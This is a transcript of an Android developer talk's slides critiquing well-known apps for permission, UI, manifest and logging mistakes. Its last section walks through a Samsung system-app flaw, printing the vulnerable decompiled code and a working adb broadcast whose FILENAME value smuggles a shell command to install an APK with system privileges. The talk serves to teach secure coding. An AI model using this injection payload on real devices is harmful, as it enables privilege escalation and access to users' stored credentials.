Git Obstacle Course: Stop BASHing your head and break down the basics
Android App Bashing- Learn From the Biggest Fails on the Google Play Store - 16-9
-
Upload
andrejancevski -
Category
Documents
-
view
26 -
download
2
description
Transcript of Android App Bashing- Learn From the Biggest Fails on the Google Play Store - 16-9
ANDROID APP BASHINGLEARN FROM THE BIGGEST FAILS
Eyal LEZMY
http://eyal.fr
SLIDES http://bit.ly/andbigfails
IT ALL STARTS ON THE PLAY STORE
01
Request only what your app requires
1/3 of apps request more permissions than they need
MINIMISE PERMISSIONS
Users should prefer apps
requesting the least
permissions
You don’t need permission
Use ContentProviders
MINIMISE PERMISSIONS
Users should prefer apps
requesting the least
permissions
Permission are not required to launch another activity that has the permission
MINIMISE PERMISSIONS
Need a contact?
MINIMISE PERMISSIONS
Use the force, Luke
MINIMISE PERMISSIONS
MINIMISE PERMISSIONS
Intent intent = new Intent(Intent.ACTION_GET_CONTENT);intent.setType(Phone.CONTENT_ITEM_TYPE);startActivityForResult(intent, MY_REQUEST_CODE);
Start the contact app
Handle the result
void onActivityResult(int requestCode, int resultCode, Intent data) { if (data != null) { Uri uri = data.getData(); if (uri != null) { Cursor c = getContentResolver().query(uri, new String[] {Contacts.DISPLAY_NAME, Phone.NUMBER}, null, null, null);} }
}}
Need an UUID?
TelephonyManager.getDeviceId()Requires READ_PHONE_STATE permission
MINIMISE PERMISSIONS
NO!
Settings.Secure.ANDROID_IDReset at every wipeNot applicable on multi user environment
Need an UUID?
Generate your own UUID and use Backup API !
MINIMISE PERMISSIONS
String id = UUID.randomUUID().toString();
YES!
Android Backup API
· API is available on all Android devices. · Manufacturors can implements their own transport and storage for the API
· Each device as its own backup data
· A new device will take a backup from a device associated with your google account.
· IT'S NOT A SYNC API !
MINIMISE PERMISSIONS
MICROSOFT STORY EPISODE 102
? ? ?
LOOK AND FEEL
HOTMAIL OUTLOOK.COM
HOTMAIL OUTLOOK.COM
LOOK AND FEEL
SAME!
LOOK AND FEEL
FOLLOW THE GUIDELINES!http://d.android.com/design
Redesigned by Taylor Ling
LOOK AND FEEL
By Microsoft
LOOK AND FEEL
LOOK AND FEEL
LOOK AND FEEL
FOLLOW THE GUIDELINES!http://d.android.com/design
LOOK AND FEEL
FOLLOW THE GUIDELINES!http://d.android.com/design
PLEASE!
MICROSOFT STORY EPISODE 203
XBOX MUSIC
Emulator(last devices configuration)
Nexus 7S4
Nexus 10Note 2
Galaxy Nexus
S3Mega
Note 1XCover (Android 2.3)
Tablets
XBOX MUSIC
Our Nutshell
XBOX MUSIC
Brand New devicesS4, Mega, HTC One, Xperia Z, ...
TabletsNexus 7/10, Tab2, Tab3, Note 10.1, …
Old devicesXCover
Not compatible
Our Nutshell
XBOX MUSIC
Main stream devicesS3, Galaxy Nexus, Note2, Note1, ...
Compatible
The dark side of the force,
Luke
XBOX MUSIC
Let’s look into the
Manifest
XBOX MUSIC
<uses-sdk android:minSdkVersion="14"
android:targetSdkVersion="14" />
Exclude the old devices
XBOX MUSIC
Not recommended (sept. 2013)
<compatible-screens>
<screen android:screenSize=" small" android:screenDensity=" ldpi" />
<screen android:screenSize=" small" android:screenDensity=" mdpi" />
<screen android:screenSize=" small" android:screenDensity=" hdpi" />
<screen android:screenSize=" small" android:screenDensity=" xhdpi" />
<screen android:screenSize=" normal" android:screenDensity=" ldpi" />
<screen android:screenSize=" normal" android:screenDensity=" mdpi" />
<screen android:screenSize=" normal" android:screenDensity=" hdpi" />
<screen android:screenSize=" normal" android:screenDensity=" xhdpi" />
</compatible-screens>
Excludes tablets
XBOX MUSIC
Excludes brand new devices(XXHDPI screens)
Too restrictive!
XBOX MUSIC
“You should not use this element”It can dramatically reduce the potential user base for your application
“Use it only as a last resort”When the application absolutely does not work with specific screen configurations
“Instead, follow the guide to Supporting Multiple Screens”
compatible-screens<>
XBOX MUSIC
It does not accept xxhdpi But you can instead specify 480 as the valuecompatible-screens
<>
XBOX MUSIC
Nothing seems tricky...
XBOX MUSIC
XXHDPI7.7% of Android devices
XXHDPI
XBOX MUSIC
Tablets11.2% of Android devices
XXHDPI
XBOX MUSIC
Missing targets18,9% of the market
XXHDPI
The Mistakes
XBOX MUSIC
Have they tested on new devices?
Ignoring the power usersBrand new devices are bought by power users and early adopters
Does not support preloading musicThe app is not prefectly opimized for mobility. Why ignoring nomad devices like tablets?
Return of the APK
XBOX MUSIC
A day after
XBOX MUSIC
A day after
XBOX MUSIC
They updated the app
<supports-screens
android:smallScreens="true"
android:normalScreens="true"
android:largeScreens="false"
android:xlargeScreens="false" />
XBOX MUSIC
<uses-sdk android:minSdkVersion="14"
android:targetSdkVersion="18" />
<supports-screens
android:smallScreens="true"
android:normalScreens="true"
android:largeScreens="false"
android:xlargeScreens="false" />
<uses-sdk android:minSdkVersion="14"
android:targetSdkVersion="18" />
XBOX MUSIC
HURRAY!!
MICROSOFT STORY EPISODE 304
MICROSOFT OFFICE
Follows the guidelines… This time
MICROSOFT OFFICE
Not that badBut it could be better
Fight the confusion
MICROSOFT OFFICE
Office 365 offer is quite confusingPeople used to buy Office licenses, not to subscribe to an Office service
They try to avoid confusion
MICROSOFT OFFICE
MICROSOFT OFFICE
The title is clear
MICROSOFT OFFICE
Is it enough explicit?
Problem
MICROSOFT OFFICE
Does not support tablet formatA productivity app has to be compatible with big screens formats
- The app is optimized for a phone - On tablet, you can use the Office Webapps- We plan to enable editing with Webapps
Microsoft’s answer on PlayStore
Other problems
MICROSOFT OFFICE
Less features than the competitorsDoes not support local filesDoes not support edition
The backend seems not very readyI have been stuck during 24 hours at the mobile activation, and I’m not alone
Conclusion
MICROSOFT OFFICE
Adapt your UI to screen sizes depending on your features
Differenciate your service from competitorsEspecially when you are new on the market
Your backend have to support your mobile distribution
One more thing!
MICROSOFT OFFICE
Check out the
Manifest
MICROSOFT OFFICE
MICROSOFT OFFICE
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-sdk android:minSdkVersion="14"
android:targetSdkVersion="16" />
They support ICS+
Read sensitive log data
MICROSOFT OFFICE
XXHDPI
Ignore READ_LOGSJelly Bean removed this feature
Accepts READ_LOGS38% of the supported devices
Don’t do this
Why scaring 100% of your users?To use a feature with 38% of them
Avoid using deprecated functionsAs much as possible
MICROSOFT OFFICE
YAHOO! WEATHER05
YAHOO WEATHER
Beautiful...
YAHOO WEATHER
Very good score
Is it perfect?
Hell no!
YAHOO WEATHER
« Try not.Do.
Or do not.There is no try. »
YAHOO WEATHER
YODA
YAHOO WEATHER
A splashscreen
YAHOO WEATHER
Non native UI
YAHOO WEATHER
Non native UI
YAHOO WEATHER
Where is my status bar?
YAHOO WEATHER
Immersive experienceGames, Books, Videos
MultitaskingEverything else
Hide status bar
Showstatus bar
When do you check the weather?
Morning?- Choosing your clothes- Eating your breakfast- Checking your emails- Looking after your kids
This is multitasking!
YAHOO WEATHER
YAHOO WEATHER
YoutubeAn immersive app
No status bar
YAHOO WEATHER
It allows multitaskingInside the app
Playing video
YAHOO WEATHER
Samsung Video Player
YAHOO WEATHER
Popup play
Samsung Video Player
About the context you
have to think
YAHOO WEATHER
FACEBOOK EPISODE 106
Under the hood
March 2013
Too much methodsLinearAlloc buffer overflow
Solution is to divide the code into several dex filesAnd load it on demand
Under the hood
March 2013
Facebook app source code was not enough modular to allow this at application level“Too many of our classes are accessed directly by the Android framework”
They had to do it at system level, thanks to reflection“We needed to inject our secondary dex files directly into the system class loader”
« More backwards compatibility for Facebook.
Another day, another private field accessed. »
GIT COMMENTANDROID SOURCE CODE
January 2013
/**
* List of dex/resource (class path) elements.
* Should be called pathElements, but the Facebook app uses reflection
* to modify 'dexElements' (http://b/7726934).
*/
private final Element[] dexElements;
Android source code - DexPathList.javaCommit January 2013
Patch set 2
lets facebook start (at least judging by logcat output)
Android code reviewJanuary 2013
After manual testing
facebook starts, though i don't have an account.
This was not enough
They finally patched Dalvik VMUsing native hot fix to change the LinearAlloc buffer size
I feel dirty
In a nutshell
Modularity saves lifes
Google seems to test some popular apps during integrationSo they don’t break the system apps
Google hires engineers when Facebook hires sculptorsInspired by Sayo Oladeji
FACEBOOK EPISODE 207
FACEBOOK HOME
A lock screen
FACEBOOK HOME
Several services supported
FACEBOOK HOME
And a launcher
FACEBOOK HOME
The problem
The launcher is too simpleNo folderNo widgetNo dock (during first months)
It used to be mandatoryLockscreen + Launcher
FACEBOOK HOME
FACEBOOK HOME
FACEBOOK HOME
FACEBOOK HOME
Opens default launcher
FACEBOOK HOME
Spot the odd one out
FACEBOOK HOME
No, actually, there is no consistency
Conclusion Keep the platform spiritTo override native OS elements you need first to implement all the basic features the user use to use
Identify your weakest pointsAnd prepare how to limit their impact
FACEBOOK HOME
08 CANAL PLUS
CANAL+ TOUCH
Request: https://canalURL.com/1.5/getThmChannel.php...
Request: https://canalURL.com/1.5/getProgramThm.php...
Request: https://canalURL.com/1.4/programRediff.php...
Request: https://canalURL.com/1.5/VOD.php?release=1...
json response : {"token":{"url":"http:\/\/download....
Request: https://canalURL.com/1.4/getChannel.php?SE...
json response: {"token":{"url":"https:\/\/canalURL....
Request: https://canalURL.com/1.5/guideTvChannel.ph...
Request: https://canalURL.com/1.5/programInfo.php?U...
Request: https://canalURL.com/1.5/myTv.php?release=...
This is the logcat
Chatty logs Make reverse engineering easierHTTPS connexionPHP backend All the URLS and parameters are knownSome of the response are known too
CANAL+ TOUCH
Chatty logs Can bring really big security breaches
CANAL+ TOUCH
https://canalURL.com/1.5/authentification.php?
login=[MY_LOGIN]&pass=[MY_CLEAR_PASSWORD]...
CANAL+ TOUCH
This is always the logcat
https://canalURL.com/1.5/authentification.php?
login=[MY_LOGIN]&pass=[MY_CLEAR_PASSWORD]...
CANAL+ TOUCH
This is always the logcat
Wait WHAT ?!
Shut the fuck up!
Control your log outputEasy method with BuildConfig.DEBUG
Never send clear password over the networkNEVAAAAAAA!!!!
CANAL+ TOUCH
CANAL+ TOUCH
public static final boolean SHOW_LOG = BuildConfig.DEBUG;
public static void d(final String tag, final String msg) { if (SHOW_LOG) Log.d(tag, msg);}
Avoid the leak, easily
And test it during QA
OEM SOFTWARE09
The Android
framework
Many APKsImplement the features
Often have system accessTo use low level features
OEM SOFTWARE
Open bar?
OEM SOFTWARE
Let’s see
OEM SOFTWARE
Android OEM applications(in)security
Talk by ANDRE MOULUQuarkslab
OEM SOFTWARE
Methodology Reverse engineeringUsing Androguard
A custom result environmentManifest analysisCheck for sensitive API usageDiff between OS version (to find patches)
OEM SOFTWARE
The results on Samsung
devices
12 vulnerabilities foundLeak personal informationAccess non-permited featuresSilent SMS controlCode injection...
Similar vulnerabilities on many constructors
OEM SOFTWARE
Gimme more!
OEM SOFTWARE
Search forsharedUserId = systemSensitive user ID
Command executionSensitive usage
OEM SOFTWARE
Find serviceModeApp.apk= Very sensitive app !
OEM SOFTWARE
<receiver name=".FTATDumpReceiver"><intent-filter>
<action name="com.android.sec.FTAT_DUMP"></action></intent-filter>
</receiver>
<receiver name=".FTATDumpReceiver" permission="...servicemodeapp.permission.KEYSTRING">
<intent-filter><action name="com.android.sec.FAILDUMP"></action>
</intent-filter></receiver>
Receiver declared twice
<receiver name=".FTATDumpReceiver"><intent-filter>
<action name="com.android.sec.FTAT_DUMP"></action></intent-filter>
</receiver>
<receiver name=".FTATDumpReceiver" permission="...servicemodeapp.permission.KEYSTRING">
<intent-filter><action name="com.android.sec.FAILDUMP"></action>
</intent-filter></receiver>
OEM SOFTWARE
Permission asked for this action
<receiver name=".FTATDumpReceiver"><intent-filter>
<action name="com.android.sec.FTAT_DUMP"></action></intent-filter>
</receiver>
<receiver name=".FTATDumpReceiver" permission="...servicemodeapp.permission.KEYSTRING">
<intent-filter><action name="com.android.sec.FAILDUMP"></action>
</intent-filter></receiver>
OEM SOFTWARE
No permission needed for this action!!
public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){
String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");
[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,
FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);
}[...]
}
OEM SOFTWARE
We read the FTATDumpReceiver source code
public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){
String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");
[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,
FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);
}[...]
}
OEM SOFTWARE
Intercepts the FTAT_DUMP action
public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){
String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");
[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,
FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);
}[...]
}
OEM SOFTWARE
Concats the FILENAME extra to str3
public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){
String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");
[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,
FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);
}[...]
}
OEM SOFTWARE
Other concatenations follow
public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){
String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");
[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,
FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);
}[...]
}
OEM SOFTWARE
Prepares an intent to FTATDumpService
public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){
String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");
[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,
FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);
}[...]
}
OEM SOFTWARE
Adds the final string to the intent
public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){
String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");
[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,
FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);
}[...]
}
OEM SOFTWARE
Starts the FTATDumpService with our FILENAME parameter as extra
public int onStartCommand(Intent paramIntent, ...){ final String str = paramIntent.getStringExtra("FILENAME"); [...] new Thread(new Runnable(){ public void run(){ [...] if(FTATDumpService.this. DoShellCmd("dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler.sendEmptyMessage(1015); [...] } }).start(); return 0;}
OEM SOFTWARE
We read then the FTATDumpService source code
public int onStartCommand(Intent paramIntent, ...){ final String str = paramIntent.getStringExtra("FILENAME"); [...] new Thread(new Runnable(){ public void run(){ [...] if(FTATDumpService.this. DoShellCmd("dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler.sendEmptyMessage(1015); [...] } }).start(); return 0;}
OEM SOFTWARE
Extracts the FILENAME extra to str
public int onStartCommand(Intent paramIntent, ...){ final String str = paramIntent.getStringExtra("FILENAME"); [...] new Thread(new Runnable(){ public void run(){ [...] if(FTATDumpService.this. DoShellCmd("dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler.sendEmptyMessage(1015); [...] } }).start(); return 0;}
OEM SOFTWARE
Opens and starts a new thread
public int onStartCommand(Intent paramIntent, ...){ final String str = paramIntent.getStringExtra("FILENAME"); [...] new Thread(new Runnable(){ public void run(){ [...] if(FTATDumpService.this. DoShellCmd("dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler.sendEmptyMessage(1015); [...] } }).start(); return 0;}
OEM SOFTWARE
Seems to “do a shell command” with our FILENAME parameter concatenated
OEM SOFTWARE
private boolean DoShellCmd(String paramString){ [...] String[] arrayOfString = new String[3]; arrayOfString[0] = "/system/bin/sh"; arrayOfString[1] = "-c"; arrayOfString[2] = paramString; [...] Runtime.getRuntime().exec(arrayOfString).waitFor(); [...] return true;} This is DoShellCmd function
OEM SOFTWARE
private boolean DoShellCmd(String paramString){ [...] String[] arrayOfString = new String[3]; arrayOfString[0] = "/system/bin/sh"; arrayOfString[1] = "-c"; arrayOfString[2] = paramString; [...] Runtime.getRuntime().exec(arrayOfString).waitFor(); [...] return true;}
Creates a shell commandAnd runs it
OEM SOFTWARE
private boolean DoShellCmd(String paramString){ [...] String[] arrayOfString = new String[3]; arrayOfString[0] = "/system/bin/sh"; arrayOfString[1] = "-c"; arrayOfString[2] = paramString; [...] Runtime.getRuntime().exec(arrayOfString).waitFor(); [...] return true;}
And our FILENAME parameter is still not modified
OEM SOFTWARE
private boolean DoShellCmd(String paramString){ [...] String[] arrayOfString = new String[3]; arrayOfString[0] = "/system/bin/sh"; arrayOfString[1] = "-c"; arrayOfString[2] = paramString; [...] Runtime.getRuntime().exec(arrayOfString).waitFor(); [...] return true;}
And our FILENAME parameter is still not modified
BINGO!
Access toAll permissions declared by system apps156 for this case
All files belonging to system userWifi keysPassword, PIN, gesture storage...
OEM SOFTWARE
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME '../../../../../dev/null;
/system/bin/pm install an.apk; #'
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }Broadcast completed : result=0
OEM SOFTWARE
A simple broadcast for FTAT_DUMP action
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME '../../../../../dev/null;
/system/bin/pm install an.apk; #'
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }Broadcast completed : result=0
OEM SOFTWARE
We declare the FILENAME argument
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME '../../../../../dev/null;
/system/bin/pm install an.apk; #'
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }Broadcast completed : result=0
OEM SOFTWARE
We point the destination file to null
$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME '../../../../../dev/null;
/system/bin/pm install an.apk; #'
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }Broadcast completed : result=0
OEM SOFTWARE
We execute our system command
Open bar!
OEM SOFTWARE
Moral of the story
It happens at application level
Look after your app’s backdoorsDon’t export local servicesUse a strict permission model
Consider every input as a threatEscape all sensitive parameters you receive
OEM SOFTWARE
The Android emulator you ever dreamedwww.genymotion.com
Thank You for your time !
http://eyal.fr
SLIDEShttp://bit.ly/andbigfails